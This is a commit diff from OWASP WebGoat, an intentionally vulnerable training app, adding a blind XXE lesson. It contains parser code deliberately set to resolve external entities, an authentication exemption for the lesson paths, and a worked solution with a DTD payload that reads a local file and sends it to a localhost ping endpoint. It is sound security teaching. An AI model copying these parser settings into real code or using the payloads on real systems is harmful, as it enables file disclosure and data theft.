XXE checkin
This commit is contained in:
parent
38e5999472
commit
f2a114419a
3
pom.xml
3
pom.xml
@ -106,6 +106,9 @@
|
||||
</ciManagement>
|
||||
|
||||
<properties>
|
||||
<maven.compiler.source>1.8</maven.compiler.source>
|
||||
<maven.compiler.target>1.8</maven.compiler.target>
|
||||
|
||||
<!-- Use UTF-8 Encoding -->
|
||||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
|
||||
|
@ -35,6 +35,7 @@ import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
|
||||
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
|
||||
import org.springframework.security.config.annotation.web.builders.WebSecurity;
|
||||
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
|
||||
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
|
||||
import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
|
||||
@ -50,7 +51,7 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
|
||||
protected void configure(HttpSecurity http) throws Exception {
|
||||
ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security = http
|
||||
.authorizeRequests()
|
||||
.antMatchers("/css/**", "/images/**", "/js/**", "fonts/**", "/plugins/**", "plugin_lessons/**").permitAll()
|
||||
.antMatchers("/css/**", "/images/**", "/js/**", "fonts/**", "/plugins/**").permitAll()
|
||||
.antMatchers("/servlet/AdminServlet/**").hasAnyRole("WEBGOAT_ADMIN", "SERVER_ADMIN") //
|
||||
.antMatchers("/JavaSource/**").hasRole("SERVER_ADMIN") //
|
||||
.anyRequest().hasAnyRole("WEBGOAT_USER", "WEBGOAT_ADMIN", "SERVER_ADMIN");
|
||||
@ -65,8 +66,14 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
|
||||
.logout()
|
||||
.permitAll();
|
||||
security.and().csrf().disable();
|
||||
http.headers().cacheControl().disable();
|
||||
|
||||
http.headers().cacheControl().disable();
|
||||
}
|
||||
|
||||
//// TODO: 11/18/2016 make this a little bit more configurabe last part at least
|
||||
@Override
|
||||
public void configure(WebSecurity web) throws Exception {
|
||||
web.ignoring().antMatchers("/plugin_lessons/**", "/XXE/**");
|
||||
}
|
||||
|
||||
@Autowired
|
||||
|
@ -43,17 +43,26 @@ public class AttackResult {
|
||||
}
|
||||
|
||||
public static AttackResult success(String feedback) {
|
||||
return success(feedback, "");
|
||||
}
|
||||
|
||||
public static AttackResult success(String feedback, String output) {
|
||||
AttackResult attackResult = new AttackResult();
|
||||
attackResult.lessonCompleted = true;
|
||||
attackResult.feedback = feedback;
|
||||
attackResult.output = "";
|
||||
attackResult.output = output;
|
||||
return attackResult;
|
||||
}
|
||||
|
||||
public static AttackResult failed(String feedback) {
|
||||
return failed(feedback, "");
|
||||
}
|
||||
|
||||
public static AttackResult failed(String feedback, String output) {
|
||||
AttackResult attackResult = new AttackResult();
|
||||
attackResult.lessonCompleted = false;
|
||||
attackResult.feedback = feedback;
|
||||
attackResult.output = output;
|
||||
return attackResult;
|
||||
}
|
||||
|
||||
|
@ -0,0 +1,108 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import org.apache.commons.lang.exception.ExceptionUtils;
|
||||
import org.owasp.webgoat.lessons.Assignment;
|
||||
import org.owasp.webgoat.lessons.model.AttackResult;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.web.bind.annotation.RequestBody;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import java.io.File;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.List;
|
||||
|
||||
import static org.owasp.webgoat.plugin.SimpleXXE.parseXml;
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
* <p>
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
* <p>
|
||||
*
|
||||
* @author nbaars
|
||||
* @version $Id: $Id
|
||||
* @since November 18, 2016
|
||||
*/
|
||||
public class BlindSendFileAssignment extends Assignment {
|
||||
|
||||
@Override
|
||||
public String getPath() {
|
||||
return "XXE/blind";
|
||||
}
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@ResponseBody
|
||||
public AttackResult createNewUser(@RequestBody String userInfo) throws Exception {
|
||||
String error = "";
|
||||
try {
|
||||
parseXml(userInfo);
|
||||
} catch (Exception e) {
|
||||
error = ExceptionUtils.getFullStackTrace(e);
|
||||
}
|
||||
|
||||
File logFile = new File(getPluginDirectory(), "plugin/XXE/");
|
||||
List<String> lines = Files.readAllLines(Paths.get(logFile.toURI()));
|
||||
boolean solved = lines.stream().filter(l -> l.contains("WebGoat 8 rocks...")).findFirst().isPresent();
|
||||
if (solved) {
|
||||
return AttackResult.success();
|
||||
} else {
|
||||
return AttackResult.failed("Try again...", error);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Solution:
|
||||
*
|
||||
* Create DTD:
|
||||
*
|
||||
* <pre>
|
||||
* <?xml version="1.0" encoding="UTF-8"?>
|
||||
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
|
||||
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=%file;'>">
|
||||
* %all;
|
||||
* </pre>
|
||||
*
|
||||
* This will be reduced to:
|
||||
*
|
||||
* <pre>
|
||||
* <!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]'>
|
||||
* </pre>
|
||||
*
|
||||
* Wire it all up in the xml send to the server:
|
||||
*
|
||||
* <pre>
|
||||
* <?xml version="1.0"?>
|
||||
* <!DOCTYPE root [
|
||||
* <!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/plugin/XXE/test.dtd">
|
||||
* %remote;
|
||||
* ]>
|
||||
* <user>
|
||||
* <username>test&send;</username>
|
||||
* </user>
|
||||
*
|
||||
* </pre>
|
||||
*
|
||||
*/
|
||||
}
|
@ -0,0 +1,67 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webgoat.lessons.Endpoint;
|
||||
import org.springframework.web.bind.annotation.RequestHeader;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.FileNotFoundException;
|
||||
import java.io.PrintWriter;
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
* <p>
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
* <p>
|
||||
*
|
||||
* @author nbaars
|
||||
* @version $Id: $Id
|
||||
* @since November 17, 2016
|
||||
*/
|
||||
@Slf4j
|
||||
public class Ping extends Endpoint {
|
||||
|
||||
@Override
|
||||
public String getPath() {
|
||||
return "XXE/ping";
|
||||
}
|
||||
|
||||
@RequestMapping(method = RequestMethod.GET)
|
||||
@ResponseBody
|
||||
public String logRequest(@RequestHeader("User-Agent") String userAgent, @RequestParam(required = false) String text) {
|
||||
String logLine = String.format("%s %s %s", "GET", userAgent, text);
|
||||
log.debug(logLine);
|
||||
File logFile = new File(getPluginDirectory(), "plugin/XXE/");
|
||||
try {
|
||||
try (PrintWriter pw = new PrintWriter(logFile)) {
|
||||
pw.println(logLine);
|
||||
}
|
||||
} catch (FileNotFoundException e) {
|
||||
log.error("Error occured while writing the logfile", e);
|
||||
}
|
||||
return "";
|
||||
}
|
||||
}
|
@ -59,9 +59,13 @@ public class SimpleXXE extends Assignment {
|
||||
public AttackResult createNewUser(@RequestBody String userInfo) throws Exception {
|
||||
User user = parseXml(userInfo);
|
||||
if (checkSolution(user)) {
|
||||
return AttackResult.success(String.format("Congratulation, welcome %s", user.getUsername()));
|
||||
return AttackResult.success("Congratulation", String.format("Welcome %s you can now login to our website", user.getUsername()));
|
||||
}
|
||||
if (userInfo.contains("<!DOCTYPE")) {
|
||||
return AttackResult.failed("Try again you did include a doctype in the xml!");
|
||||
} else {
|
||||
return AttackResult.failed(String.format("Welcome %s you can now login to our website", user.getUsername()));
|
||||
}
|
||||
return AttackResult.failed("Try again!");
|
||||
}
|
||||
|
||||
public static User parseXml(String xml) throws Exception {
|
||||
@ -69,6 +73,8 @@ public class SimpleXXE extends Assignment {
|
||||
|
||||
XMLInputFactory xif = XMLInputFactory.newFactory();
|
||||
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true);
|
||||
xif.setProperty(XMLInputFactory.IS_VALIDATING, false);
|
||||
|
||||
xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
|
||||
XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(xml));
|
||||
|
||||
|
@ -115,6 +115,58 @@
|
||||
<div class="adoc-content" th:replace="doc:XXE_overflow.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:XXE_blind.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:XXE_blind_assignment.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<!-- using attack-form class on your form will allow your request to be ajaxified and stay within the display framework for webgoat -->
|
||||
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
|
||||
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
|
||||
<form class="attack-form" accept-charset="UNKNOWN" prepareData="registerJson" method="POST" name="form"
|
||||
action="/WebGoat/XXE/content-type" contentType="application/json">
|
||||
<script th:src="@{/plugin_lessons/plugin/XXE/js/xxe.js}"
|
||||
language="JavaScript"></script>
|
||||
<div id="lessonContent">
|
||||
<strong>Registration form</strong>
|
||||
<form prepareData="registerJson" accept-charset="UNKNOWN" method="POST" name="form" action="#attack/307/100">
|
||||
<table>
|
||||
<tr>
|
||||
<td>Username</td>
|
||||
<td><input name="username" value="" type="TEXT"/></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>E-mail</td>
|
||||
<td><input name="email" value="" type="TEXT"/></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Password</td>
|
||||
<td><input name="email" value="" type="TEXT"/></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td></td>
|
||||
<td align="right"><input type="submit" value="Sign up"/></td>
|
||||
</tr>
|
||||
</table>
|
||||
<br/>
|
||||
<br/>
|
||||
</form>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
|
@ -0,0 +1,55 @@
|
||||
== Blind XXE
|
||||
|
||||
In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page.
|
||||
Or the resource you are trying to read contains illegal XML character which causes the parser to fail.
|
||||
Let's start with an example, in this case we reference a external DTD which we control on our own server.
|
||||
|
||||
Our WebGoat server by default has an /xxe/ping endpoint which we can use. In real case this can be any server you control.
|
||||
|
||||
[source]
|
||||
----
|
||||
curl -i http://localhost:8080/WebGoat/XXE/ping
|
||||
|
||||
will result in:
|
||||
|
||||
GET curl/7.45.0
|
||||
----
|
||||
|
||||
at the server side.
|
||||
|
||||
How do we use this endpoint to verify whether we can perform XXE?
|
||||
|
||||
In the `~/${user.home}/.webgoat/plugin/XXE` create a file called attack.dtd
|
||||
|
||||
[source]
|
||||
----
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!ENTITY ping SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld'>
|
||||
----
|
||||
|
||||
Now submit the form and change the xml to:
|
||||
|
||||
[source]
|
||||
----
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE root [
|
||||
<!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/plugin/XXE/attack.dtd">
|
||||
%remote;
|
||||
]>
|
||||
<user>
|
||||
<username>test&ping;</username>
|
||||
</user>
|
||||
----
|
||||
|
||||
Now if we check our server log we will see:
|
||||
|
||||
[source]
|
||||
----
|
||||
GET Java/1.8.0_101 HelloWorld
|
||||
----
|
||||
|
||||
So with the XXE we are able to ping our own server which means XXE injection is possible.
|
||||
|
||||
[NOTE]
|
||||
In this case we use http://localhost:8080/WebGoat/plugin_lessons/plugin/XXE/test.dtd to fetch the dtd but in reality this will
|
||||
of course be a host fully under the attackers control.
|
@ -0,0 +1,7 @@
|
||||
== Blind XXE assignment
|
||||
|
||||
In the previous page we showed you how you can ping a server with a XXE attack, in this assigment try to make a DTD which will upload the
|
||||
contents of ~/.webgoat/plugin/XXE/secret.txt to our server. For Linux: `/home/USER/.webgoat/plugin/XXE/secret.txt`, for Windows
|
||||
this would be `c:/Users/USER/.webgoat/plugin/XXE/secret.txt`
|
||||
|
||||
Try to upload this file using the following endpoint: `http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]`
|
@ -1,7 +1,7 @@
|
||||
== Modern REST framework
|
||||
|
||||
In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about.
|
||||
So this might result in JSON endpoints being vulnerable for XXE attacks.
|
||||
So this might result in JSON endpoints being vulnerable to XXE attacks.
|
||||
|
||||
Again same exercise but try to perform the same XML injection as we did in first lesson.
|
||||
Again same exercise but try to perform the same XML injection as we did in first assigment.
|
||||
|
||||
|
@ -31,4 +31,9 @@ paths in the system identifier. Since the attack occurs relative to the applicat
|
||||
trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests or launching a CSRF attack to
|
||||
any unprotected internal services. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues
|
||||
may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access
|
||||
local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
|
||||
local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
|
||||
|
||||
In general we can distinguish the following kind of XXE attacks:
|
||||
* Classic: in this case an external entity is included in a local DTD
|
||||
* Blind: no output and or errors are shown in the response
|
||||
* Error: try to get the content of a resource in the error message
|
@ -23,8 +23,7 @@ With the same XXE attack we can perform a DOS service attack towards the server.
|
||||
|
||||
When XML parser loads this document, it sees that it includes one root element, "lolz", that contains the text "&lol9;". However, "&lol9;" is a defined
|
||||
entity that expands to a string containing ten "&lol8;" strings. Each "&lol8;" string is a defined entity that expands to ten "&lol7;" strings, and so on.
|
||||
After all the entity expansions have been processed, this small (< 1 KB) block of XML will actually contain 109 = a billion "lol"s, taking up almost 3
|
||||
gigabytes of memory.
|
||||
After all the entity expansions have been processed, this small (< 1 KB) block of XML will actually take up almost 3 gigabytes of memory.
|
||||
|
||||
This is called a "Billion laughs", more information can be found here: https://en.wikipedia.org/wiki/Billion_laughs
|
||||
|
||||
|
@ -0,0 +1 @@
|
||||
WebGoat 8 rocks...
|
Loading…
x
Reference in New Issue
Block a user